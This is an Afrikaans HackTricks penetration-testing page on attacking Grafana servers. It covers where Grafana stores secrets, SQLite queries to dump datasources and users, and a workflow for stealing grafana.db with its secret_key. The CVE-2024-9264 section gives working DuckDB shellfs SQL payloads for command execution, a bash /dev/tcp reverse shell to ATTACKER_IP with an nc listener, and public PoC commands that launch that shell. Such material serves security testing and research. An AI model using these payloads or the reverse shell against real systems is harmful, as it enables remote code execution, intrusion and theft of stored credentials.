Grafana
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Interessante dinge
- Hoofkonfigurasielêer is gewoonlik in
/etc/grafana/grafana.ini(Deb/RPM) en kan sensitiewe waardes bevat soosadmin_user,admin_password,secret_key, OAuth-instellings, SMTP creds, en renderer tokens. - Standaard stoor Grafana data in SQLite3 onder
/var/lib/grafana/grafana.db. - Provisioning-lêers is baie interessant na toegang tot die gasheer:
/etc/grafana/provisioning/datasources/*.yaml/etc/grafana/provisioning/plugins/*.yaml- Omgewingsveranderlike-uitbreiding word deur provisioning-lêers ondersteun, so leaked YAML openbaar dikwels beide geheime en die omgewingsvariabele-name wat dit ondersteun.
- Geïnstalleerde plugins word gewoonlik gevind onder
/var/lib/grafana/plugins. - Binne die platform kan jy, afhangend van jou rol, mense uitnooi, API-sleutels / service account tokens genereer, plugins lys, of nuwe plugins installeer.
- Die blaaier is ook loot: Grafana openbaar nie-geheime datasource-konfigurasie na die frontend. As jy ’n Viewer sessie het (of anonymous access aangeskakel is), inspekteer
window.grafanaBootDatavanuit DevTools.
Nuttige SQLite-checks:
.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;
Onttrekking van datasources en geheime
Grafana skei blaaier-lesbare konfigurasie van enkripteerde geheime:
jsonDatais sigbaar vir gebruikers in die blaaier en is dikwels genoeg om interne hosts, tenants, auth modes, header names, AWS regions, Elasticsearch indexes, Loki tenants, Prometheus URLs, en soortgelyke recon data op te som.secureJsonDataword serverkant geënkripteer en is nie meer vanuit die blaaier leesbaar nadat die datasource gestoor is nie.
Post-exploitation workflow:
- Maak ’n dump van
grafana.inien herstelsecret_key. - Haal
grafana.dben provisioning-lêers in. - Enumereer datasources en plugin-konfigurasie om herbruikbare credentials en interne endpoints te vind.
- As jy die databasis na ’n ander Grafana-instansie migreer of herlaai, behou dieselfde
secret_key, anders sal gestoorde datasource-wagwoorde/tokens nie korrek ontsleutel nie.
Waarom secret_key saak maak in nuwer weergawes:
- Sedert Grafana v9 gebruik databasisgeheime envelope encryption.
- Grafana enkripteer geheime met data encryption keys (DEKs), en daardie DEKs word geënkripteer met ’n key encryption key (KEK) wat afgelei is van
secret_key. - Vanuit ’n aanvaller se perspektief is
grafana.db+secret_keydie paar wat die moeite werd is om te steel.
Plugin attack surface
Behandel plugins as deel van die teiken, nie ’n voetnoot nie:
- Enumereer dit vanaf die filesystem, vanaf die UI, of vanaf die API:
curl -s http://grafana.target/api/plugins | jq '.[].id'
- Ouer of derdeparty-plugins brei gereeld Grafana se bereik in interne netwerke uit omdat hulle HTTP-versoeke proxy of met plaaslike lêers/databasisse interaksie het.
- Onlangse voorbeelde sluit in SSRF in die Infinity plugin (
< 3.4.1) en misbruikspaaie waar die Image Renderer plugin ’n ander fout in full-read SSRF omskep.
CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI
Grafana’s eksperimentele SQL Expressions-funksie kan DuckDB-vrae evalueer wat gebruiker-beheerde teks insluit. Onvoldoende sanitisering laat aanvallers toe om DuckDB-statemente te ketting en die community-uitbreiding shellfs te laai, wat shell-opdragte blootstel via virtuele lêers wat op pipes gebaseer is.
Impak
- Enige geverifiseerde gebruiker met VIEWER of hoër kan kode-uitvoering as die Grafana OS-gebruiker bekom (dikwels grafana; soms root binne ’n kontainer) of plaaslike lêers lees.
- Voorvereistes wat algemeen in werklike ontplooiings voorkom:
- SQL Expressions enabled:
expressions.enabled = true duckdbbinary present in PATH on the server
Vinnige kontroles
- In die UI/API, blaai na Admin settings (Swagger:
/swagger-ui, endpoint/api/admin/settings) om te bevestig: expressions.enabledis true- Opsioneel: version, datasource types, and general hardening settings
- Shell op gasheer:
which duckdbmoet oplos vir die eksploitasie-pad hieronder.
Handmatige navraagpatroon met DuckDB + shellfs
- Misbruikvloei (2 navrae):
- Installeer en laai die shellfs-uitbreiding, voer ’n opdrag uit, herlei die gekombineerde uitset na ’n tydelike lêer via ’n pipe
- Lees die tydelike lêer terug met
read_blob
Voorbeeld SQL Expressions payloads wat na DuckDB gestuur word:
-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');
Vervang CMD met jou gewenste opdrag. Vir file-read (LFI) kan jy eerder DuckDB file functions gebruik om plaaslike lêers te lees.
Eenreël reverse shell voorbeeld
bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"
Voeg dit as CMD in die eerste query in terwyl jy ’n listener het: nc -lnvp 443.
Outomatiese PoC
- Publieke PoC (gebou op cfreal’s ten framework):
- https://github.com/nollium/CVE-2024-9264
Voorbeeld van gebruik
# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target
As die uitset uid=0(root) toon, hardloop Grafana as root (algemeen binne sommige containers).
2025 client-side traversal / open redirect chain
Die 2025 Grafana client-side traversal and open-redirect chain is reeds in meer generiese client-side bladsye gedokumenteer. Gebruik daardie tegnieke teen Grafana-spesifieke paadjies soos plugin assets, dashboard script loaders, en token-rotation redirects:
Verwysings
- Grafana Advisory – CVE-2024-9264 (SQL Expressions RCE/LFI)
- Grafana docs – Add authentication for data source plugins (
jsonData,secureJsonData,window.grafanaBootData) - Grafana docs – Configure database encryption
- Grafana docs – Provision Grafana
- Cycode – One Plugin Away: Breaking Into Grafana from the Inside
- DuckDB shellfs community extension
- nollium/CVE-2024-9264 PoC
- cfreal/ten framework
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


